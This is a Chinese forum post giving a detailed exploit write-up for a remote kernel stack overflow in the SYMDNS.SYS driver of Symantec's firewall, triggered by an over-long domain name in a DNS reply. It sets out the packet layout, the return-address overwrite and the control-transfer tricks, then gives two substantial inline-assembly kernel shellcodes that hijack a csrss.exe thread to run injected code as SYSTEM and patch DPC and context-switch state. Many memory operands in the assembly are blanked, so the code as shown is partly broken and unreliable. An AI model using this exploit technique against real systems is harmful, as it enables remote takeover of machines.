SYMANTEC防火墙内核堆栈溢出漏洞利用方法总结
SYMANTEC防火墙内核堆栈溢出漏洞利用方法总结SoBeIt
原来根据FLASHSKY大牛在峰会上的报告分析了这个漏洞写了两篇随笔,,因为写得仓促,里面难免有不少错漏,朋友建议我汇总一下,也方便日后参考,于是把两篇文章汇总并做了些修改。
这个漏洞与大多数堆栈溢出漏洞不同的是它是发生在内核态里。堆栈溢出发生于SYMANTEC防火墙的驱动SYMDNS.SYS中,当处理DNS答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。
一个DNS报文格式如下:
"\xEB\x0B" //报文ID,可以随意设置,但在这个漏洞里是别有用途的,后面会说到
"\x80\x00" //报文FLAG,15位置1表示这是一个答复报文
"\x00\x01" //问题数量
"\x00\x01" //答复数量
"\xXX\xXX" //授权资源记录数,在这里不重要,随便设置
"\xXX\xXX" //格外信息资源记录数,在这里不重要,随便设置
以上部分为DNS报文头
"\xXX\xXX\x..." //域名,格式为每个分段域名长度+域名内容,比如www.buaa.edu.cn就是
\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00
w w w b u a a e d u c n
\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是".",就完成了处理。
在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了0x214个字节空间,再将域名拷入,虽然会计算总长度并做限制,但由于计算错误,算了也是白算,导致可以输入超长域名发生堆栈溢出。传入的每个域名分段有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了该函数的返回地址。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中返回地址之前的SHELLCODE的后半部分面目全非、惨不忍睹。现在有两种执行SHELLCODE的方法:
一是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,
74816d74 4c816c9b 816d002e 816c9e34
|_____esp指向这 |_______这个就是非分页池的地址
现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp 、 call 这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?\xEB\x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。
二是在堆栈里覆盖的返回地址的esp+0x8处开始执行我们的SHELLCODE,返回地址之后的SHELLCODE那个函数不会做处理。但如果SHELLCODE实在太长的话会覆盖到有关DPC调度的一些信息。一个变通的方法,可以先跳回返回地址前的SHELLCODE的前半部分没被修改的部分,可以执行接近200个字节,再跳到返回地址后的SHELLCODE部分执行,这样空间就应该足够了。但由于堆栈中的SHELLCODE的每个段开始的0x3f已经被换成了0x2e,0x2e不单独对应机器码,所以只能在每个SHELLCODE段的最后部分改成\xeb\x01跳过0x2e。
在安全返回法里,由于要取出堆栈里后面函数的返回地址,不能覆盖太多,只能使用第一种方法在池中执行SHELLCDOE,安全返回法的内核态SHELLCODE只有230个字节左右,池中还剩下310个字节左右可以利用。在非安全返回法由于关于DPC调度、被锁定的资源等关键数据所处堆栈位置距离溢出点比较大,所以可以在堆栈中执行。
安全返回法
现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程,这样很麻烦而且代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址,而且8号进程是挂在除SessionProcessLinks之外的其它链表上的,所以现在我们能够获取其它进程EPROCESS地址了。下一步是切换进程地址空间,从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE,这个选择很重要,因为当前IRQL = 2,任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,因为缺页会导致页面I/O,最后会在对象上等待,这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e byte KernelStackResident)是否为TRUE,为TRUE表示该线程内核堆栈未被换出内存。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的SHELL是SYSTEM的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集的空闲进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为想想看WIN32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ETHREAD+0x1a4处:
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270处取链表头,链表位置在ETHREAD+0x240处:
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink
剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝SHELLCODE过去,依次调用API为:ZwOpenProcess(这里要注意,如果没改变CR3的话这个调用会导致蓝屏,因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP,它是保存在KTRAP_FRAME+0x68处,把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底InitialStack-x29c的地方,ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是\x68\x78\x56\x34\x12\xc3,将原来的返回地址覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。
最后一段是一些固定的针对该漏洞的特征返回,主要是取出未被覆盖的返回地址并让EBP恢复正常,并设置特定的寄存器值以满足返回后的检测条件。这里我跳过了所有剩下的在SYMDNS.SYS的调用,因为那些函数都会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值eax是否为0,很符合我们的要求,呵呵。
这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。
SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,没提供完整的SHELLCODE,因为一是只是为了技术研究,而是不想被那些对技术一窍不通却只想着破坏的人利用。转成机器码只有230多个字节,基本不算太大:):
__declspec(naked) JustTest()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebx, 0xffdff55c
mov ebx, dword ptr
mov ebx, dword ptr
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov edx, dword ptr
FindThread:
movzx ecx, byte ptr
dec ecx
jecxz go3
mov edx, dword ptr
jmp FindThread
go3:
mov eax, dword ptr
mov ebp, esp
sub esp, 0x40
push edx
mov cr3, eax
push 0x10
pop ecx
xor eax, eax
lea edi, dword ptr
ZeroStack:
stosd
loop ZeroStack
mov byte ptr , 0x18
lea edi, dword ptr
push edi
lea edi, dword ptr
push edi
lea edi, dword ptr
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr
int 0x2e
add esp, 0x10
mov byte ptr , 0x2
push 0x40
push 0x1000
lea edi, dword ptr
push edi
push eax
lea edi, dword ptr
push edi
push dword ptr
mov al, 0x10
lea edx, dword ptr
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr
push ebx
lea ebx, dword ptr
push ebx
push dword ptr
mov al, 0x59
lea edx, dword ptr
int 0x2e
add esp, 0x10
mov edi, dword ptr
pop edx
mov edx, dword ptr
push dword ptr
pop dword ptr
push dword ptr
pop dword ptr
add edi, 0x11c
push eax
push 0x120
push edi
push dword ptr
push dword ptr
mov al, 0xf0
lea edx, dword ptr
int 0x2e
add esp, 0x100
xor eax, eax
mov esi, dword ptr
mov ebp,esp
add ebp,0x88
ret 0x2c
}
}
非安全返回法二
没实现非安全返回法一,因为里面的技术要点都包括在安全返回法和非安全返回法二里了,而且限制实在太大,很让人不爽。主要就是那个BAT的下载文件的内容,可以参见相关文章。
正如FLASHSKY所说,非安全返回法二的关键在于恢复DPC,不象安全返回法,我们完全不必关心线程切换和DPC调度。不过FLASHSKY夸大了DPC被破坏的情况,尤其是环境切换,就算在安全返回法里,在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的,以下是KPCR结构中涉及到DPC调度的部分:
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的处理方法有两种,一种是把KDPC对象串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里,系统检测到当前DPC链表不为空,于是调用KiRetireDpcList,KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员,显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE,然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象,DPC调度发生的频率是相当高的,但大部分时间都是处理定时器KTIMER过期DPC,很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法,我们处于DPC调度中,DpcRoutineActive和DpcInterruptRequested都为TRUE,进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以,在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复,但就会降低溢出的成功率,因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏)。其实系统中有些蓝屏是系统有意调用KeBugCheck以防止你做某些事,这些事情如果你处理得好是不会对系统产生影响的,比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换,但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能,就是我们对内核感兴趣的原因,能够控制整个操作系统真的很爽,扯远了,呵呵。恢复DPC有个技巧,既然上一次KiIdleLoop的调用是KiRetireDpcList,那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令:
call nt!KiRetireDpcList
cmp dword ptr ,0x0
如果不改动这里的话环境切换后系统恢复到这里执行,下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空,但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了,切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚,加上0x2d,使它变为调用了SwapContext后的下一条指令:
call nt!SwapContext
lea ebp,
显然ebp已经恢复了,DPC调度可以继续进行了。
恢复DPC我们有两种选择,一是将当前DPC跳过,二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便,可以省下不少代码,也是我使用的方法,不过有一个小问题,就是无法再PING通,会产生网络已被中断的错觉,其实网络是通的,SHELL也拿得到。第二种方法虽然网络功能一切正常,不过远程的机器会出现一些异常,比如开始菜单无法再用,当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁,该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方,所以可以很安全取到。
下一步就是进行环境切换,要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处,把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处,并把IDLE线程状态(ETHREAD+02d byte State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp,记住,从这里开始我们已经处于新线程的堆栈中了,如果你之前有什么重要的信息压在IDLE线程的堆栈里,赶快在切换ESP前出栈吧。还有一点很重要的是,由于我们是强行把一个处于等待状态的线程进行环境切换并运行(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了,其机率快可以比上抽**了),就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别,前者是处于等待状态且内核栈未被换出的线程链表,而后者是处于等待状态且内核堆栈已被换出的线程链表),否则就会在KiOutSwapKernelStack处发生死循环。最后就是直接返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的),系统就会接管工作了(这里需要提出的是,其实IDLE线程自从被赋于KPCR+0x128并被改为待命后,早在第一个int 0x2e就被调度执行了)。
我开始时SHELLCODE的结构是先完成其它功能,再环境切换,结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g,系统都一切正常,但如果直接g或者干脆前面就没下过断点那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题,结果被郁闷了N次,主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈,而后面又直接修改回正常值(IDLE的KernelStack, 在ETHREAD+0x28处,是个不变的值,不修改的话调度后会返回到错误的回址),估计问题发生在这里,所以我把SHELLCODE前后结构改了,先环境切换再完成其它功能,这样不会再干预IDLE的内核栈,事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本,把所有可有可无的代码全去掉了,比如修改KPCR中某些不会用到的成员的代码全去掉了,甚至连线程状态都没改,还是保持在等待状态,反正系统正常环境切换也不会检测正在运行的线程是什么状态,呵呵。
下面是内核SHELLCODE代码,转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概350个字节。这段代码是在池中执行的,换成在堆栈中执行时记得把里面一些关于堆栈的偏移地址修正一下:
__declspec(naked)JustTest2()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebp, 0xffdff80c
mov ebx, dword ptr
mov ebx, dword ptr
xor eax, eax
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov dword ptr , eax
mov esi, dword ptr
mov byte ptr , al
lea esi, dword ptr
FindThread:
mov esi, dword ptr
test byte ptr , 0x1
jnz go3
jmp FindThread
go3:
mov edx, dword ptr
sub esi, 0x1a4
mov ebx, 0xffdff000
// lea ecx, dword ptr
mov ebp, dword ptr
mov dword ptr , ebp
inc byte ptr
mov edi, dword ptr
add dword ptr , 0x2d
// mov ebp, dword ptr
// add ebp, 0x4
// mov edi, dword ptr
// mov dword ptr , ebp
// mov dword ptr , edi
// mov dword ptr , ebp
mov dword ptr , esi
mov cl, byte ptr
mov byte ptr , cl
mov ebp, dword ptr
mov edi, dword ptr
mov dword ptr , ebp
mov dword ptr , edi
pop edi
push dword ptr
pop dword ptr
mov esp, dword ptr
mov ecx, dword ptr
mov dword ptr , ecx
mov ebp, dword ptr
mov word ptr , cx
shr ecx, 0x10
mov byte ptr , cl
shr ecx, 0x8
mov byte ptr , cl
mov ebp, dword ptr
mov dword ptr , edx
mov cr3, edx
push edi
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push 0x10
pop ecx
lea edi, dword ptr
ZeroStack:
stosd
loop ZeroStack
mov byte ptr , 0x18
lea edi, dword ptr
push edi
lea edi, dword ptr
push edi
lea edi, dword ptr
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr
int 0x2e
add esp, 0x10
mov byte ptr , 0x2
push 0x40
push 0x1000
lea edi, dword ptr
push edi
push eax
lea edi, dword ptr
push edi
push dword ptr
mov al, 0x10
lea edx, dword ptr
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr
push ebx
lea ebx, dword ptr
push ebx
push dword ptr
mov al, 0x59
lea edx, dword ptr
int 0x2e
add esp, 0x10
mov edi, dword ptr
pop edx
mov edx, dword ptr
push dword ptr
pop dword ptr
push dword ptr
pop dword ptr
add edi, 0x19a
push eax
push 0x120
push edi
push dword ptr
push dword ptr
mov al, 0xf0
lea edx, dword ptr
int 0x2e
mov ebx, dword ptr
add esp, 0x5c
pop ecx
mov dword ptr , ecx
popfd
ret
}
}
//后的代码是用于第二种DPC恢复的。
后记:
内核溢出是一个全新的领域,里面有很多东西值得我们去探索。这篇文章就算是抛砖引玉,如果能给大家有所帮助,也就算达到目的了。很多地方都有很多不足,尤其是非安全返回法,还没找到能让系统完全恢复原样的方法。如果有什么错漏处或者可以改进的地方,欢迎向我提出。
页:
[1]